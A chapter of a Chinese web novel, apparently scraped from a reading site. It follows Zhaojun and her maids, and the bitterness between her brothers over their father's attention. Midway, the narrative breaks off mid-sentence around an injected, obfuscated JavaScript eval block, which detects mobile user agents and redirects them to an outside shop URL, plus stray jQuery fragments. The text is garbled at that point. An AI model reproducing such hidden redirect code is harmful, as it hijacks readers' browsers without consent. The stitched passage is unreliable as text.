46. “心照不宣”

作品:《昭昭向晖

    昭郡默默从屏风后走出来,有些疑惑巧白怎么还不来,心想这丫头最近愈发懒散了,看来得好好管教一番了。


    她默默叹了口气,准备躺下歇息,往日里,都是兰芝吹灭蜡烛,放下幔帐的,可现在房中只有她一人。


    不知为何,总有种说不出来的感觉,她脱下外衣,轻轻走到蜡烛旁吹灭,手上的烛火刚接过火星重新亮起来,她凭着烛火的照映,回到软榻上,将幔帐放下来后,才把手上的烛火吹灭。


    她有些失神的躺到床上,也许熬过今夜就好了,就算她与兄长有了矛盾,明日还不是得与兄长在在同一张饭桌上吃饭。


    想到这里,她嘴角向上勾了勾,露出一抹自嘲的微笑。许是有些冷了,昭郡往上拽了拽被子,被子是蚕丝的,很轻柔也很暖和,这被子上镶嵌着自己最爱的水仙花。


    还是当年小娘亲手缝制的。


    有丝丝香气蔓延……


    她手不自觉的抚上那朵水仙花,似乎睡梦中也在水仙花下安歇,带着些祥和的微笑,那是自由,无拘无束与欢乐。


    翌日清晨,她缓缓睁开双眼,见巧白和兰芝已经双双侍候在屏风旁了,两人看起来精神抖擞,她一愣,随即起身,兰芝眼疾手快的给巧白使了个眼色,巧白像是得到了什么指令一般上前掀开幔帐。


    昭郡的目光落在巧白身上,细细的打量了一番。


    随即她哑着嗓子开口,“怎么不叫我起床?”


    “见小姐睡的舒坦,不忍心打扰。”


    兰芝见小姐嗓子不舒服,赶忙从桌上倒了杯温水递到昭郡面前,“小姐,您嗓子不适,喝些水润润嗓子可好?”


    昭郡点了点头,双手接过那杯温水,几口喝下这才觉得嗓子润了些,随即将被子递了过去,巧白赶忙结果。


    昭郡看了眼巧白见她眸中满是无辜和天真,便把目光移向兰芝,只是淡淡的扫了一眼。


    兰芝见状,赶忙开口,低眉顺眼,委屈的开口。“小姐,昨晚我把您交代给我的事儿忘了,都是我的错。”


    昭郡没再说话,只是像往常般穿衣梳洗,两个丫鬟也只是默默服侍着。


    昭如阑那边可就没那么好过了他神情紧绷,一晚上没合眼,眼下是淡淡的乌青,眸中有几个淡淡的红色丝,像是胎记般留在眼眶中。


    他有好几日没再去练武了,虽说每日早出晚归,但也都忙的不是什么正经事,不是去和那些有人交流就是去茶馆喝闷茶。


    他有些无力,想着接下来的这些天该好好歇歇了,这些天的种种事由,早就把他弄的心力交瘁了。


    昭如阑这么一沉下心来一歇,那教导关莫的时间全都被昭珲政占据了。


    原本只是控制欲和占有欲作祟的昭珲政,本来也没打算好好教导关莫,只是向他讲述一些平常的道理什么的,再多些,便是书卷上的文章。


    不过是比关莫这个年纪所能接触到的再高些罢了,其它的,也就没有什么了,但昭珲政教导他时,却发现他有时虽寡言,但碍于自己是兄长的面子还是为别的,也许他本就该活泼些,只是没放下戒备心罢了。


    他觉得,关莫这孩子聪明,能成事,不过过于机敏了些,也过于警觉,自己给他讲授了月余,他才堪堪对自己放下戒备心,终于能和自己畅聊一番了。


    只是不知,他说的那些话,有几句是自己的见解,又有几句是顺着自己的话开口的。


    想当年,自己也是这般情境,信不过别人,就自己把自己关在房门内看书,即使房中不透光,到处是幽幽的灰尘,他也不在意,两耳不闻窗外事,一心只读圣贤书。


    就连自己最为宠爱的妹妹来了,也只是淡淡开口,让妹妹坐在桌子上任由她自顾自的玩,非把书看好了才从中脱离出来。


    昏暗的房中,单单的人影,呆呆的坐在书案前,甚至连小厮都不允许进入打扰自己。


    父亲昭宏常说这孩子死脑筋,只要一看书,认真起来便什么也不管不顾了,虽说是念叨,可眉头弯弯,嘴角上扬的弧度可骗不了别人,昭宏对他很是赞赏,心里也是想着若昭家能再出人才,也可缓和缓和逐渐走到圣驾前,为其解忧也可。


    慈爱的眼神中却也免不了有淡淡的愁容,他怕这孩子过于正直,处事不够圆滑而会被旁人所诟病,便多花些时间在昭珲政身上。


    教导他为人处事的道理,做人,做臣子,都要守礼才行。礼随事而变,不迂腐,成不骄,败不馁,方能算君子。


    昭珲政就这么在严厉父亲的教导下长大,可父亲终究是父亲,是昭家的掌权人,并不会事事俱到的给他铺好一切都路,所有面对困难所做出的抉择以及事件失败的后果还都是要他自己承担。


    他有时也羡慕自己的妹妹,虽说被一些闺阁之礼束缚着,况且母亲对于妹妹的教导并不比父亲宽松多少,但妹妹终归是比自己辛运一些的。


    妹妹小时候可以犯错,他却不行,否则就会招致兄长的嘲讽以及父亲失望的神情。


    父亲那忧愁的神情也代表着对自己的失望,他不愿看到,更不敢看到,所以力求所有事情做就要做到极致,完全不给自己后悔的余地!


    连母亲都以自己为戒教导妹妹可不许犯同样的错,这些年,他就是这么过来的,他有喜悦,但其中也不乏痛苦。


    他却不后悔,这一切都是值得的。


    反倒是昭如阑就没有这么幸运了。昭家凭借文发家,连昭宏父亲的关职都是凭借祖辈的荫功所得来的。因此,昭涉也是更加圆滑与世故,同样不缺软弱,他不能让祖辈的基业都毁在自己手上。


    这是对祖宗的大不敬,日后,入了祠堂也会被后世诟病。


    对于死去之人来说,后世的体面最为重要……


    昭宏自然是谨记父亲的教导,由此来教导昭珲政,不过,他却没父亲那么极端,他懂荣辱,知得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753395|189829||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    失。也不把过于偏激的想法强加到昭珲政身上,而是由其自己领悟,在他将要过火越过边界时又提醒他收着些。


    “月满则亏,水满则溢……”


    况且他在当今圣上下边办事,开国之君往往是励精图治,不敢有丝毫懈怠,昭宏觉得定有自己一番用武之地,自从昭珲政也开始在朝堂任事,他就更加坚定了心中所想,定要为昭家取得一番好攻业。


    昭宏一心向文,可自己的大儿子昭如阑却自小是个“武痴”,从小便展示出了不同于常人的天赋,可他确实不那么上心的。


    他怕,怕自家的基业不保,更怕皇权忌惮,因此尽量不让昭如阑出风头。


    哪怕是和和外人谈论昭家的子孙也都尽量避开昭如阑这个人,但他知道,他躲不开,有就是有,他也别无他法。


    渐渐的,昭珲政年幼便学有所成,他也逐渐放低了警戒,开始慢慢上心昭如阑这个不让人省心的大儿子。


    也许是这样,昭如阑便觉得是自己的弟弟抢了父亲所有的关心与爱护,可自己明明也是父亲的儿子,父亲怎能不重视他的儿子呢。


    他不甘心,偏要以文兴盛昭家吗?他不甘心,凭什么他昭珲政凭借几句花言巧语便能赢得父亲所有的爱,而自己自小便被主动央求将自己送到冰冷的武场,除了妹妹给自己的小物件,轻言巧语连路都走不稳,却能跑着闹着要给自己擦汗。


    妹妹身上是新衣裳,脚上的鞋子还是母亲亲手缝制的虎头鞋,弟弟俨然也是一副白净模样,从小便在家人的簇拥下夺得关注,无论做什么都会获得奖赏,而自己呢?


    脸上是冬日里被擦伤的痕迹,混着些新鲜的泥土,伤口处有些溃烂,那是他被武师按在地上摩擦的最有利的证明。


    哪怕身上全是新伤,那怕有时胳膊被折磨的脱了臼,也没人会关注这些,父亲请来的武师对自己一个孩子全是猛招,仿佛想劝退自己,凭什么?我偏要证明给他看!


    每次训练之后都是一身伤痕,长而久之,就连教昭如阑的武师也被他打动,渐渐有了些舐犊之情,不顾昭宏的劝阻也要主动收他为徒。


    可越是这样,父亲竟还能不管不顾的任由自己自生自灭,甚至连一个眼神都不愿意给,这谁能不恨?


    冬日里的伤口会冻,会撕裂,会流脓,这些在昭如阑看来却远比夏日里要好,夏日里如若像冬日里这么猛,早就感染了……


    为何自己拼了命想得到的东西别人不费出灰之力就能得到?原来那终归不是属于自己的东西罢了。


    他渐渐长大了,不再去读懂父亲眼眸之下的隐喻。与父亲的交往也像是隔了一堵墙,一堵厚重的墙。


    若是他小时候兴许一股子不服输的劲儿,还想着碰碰壁,可现在,随着时日的增长,那堵墙增添了些岁月的痕迹,竟愈发厚重了,昭如阑直接背过身去感受另一侧父亲在墙上的轻抚。


    他闭目不见……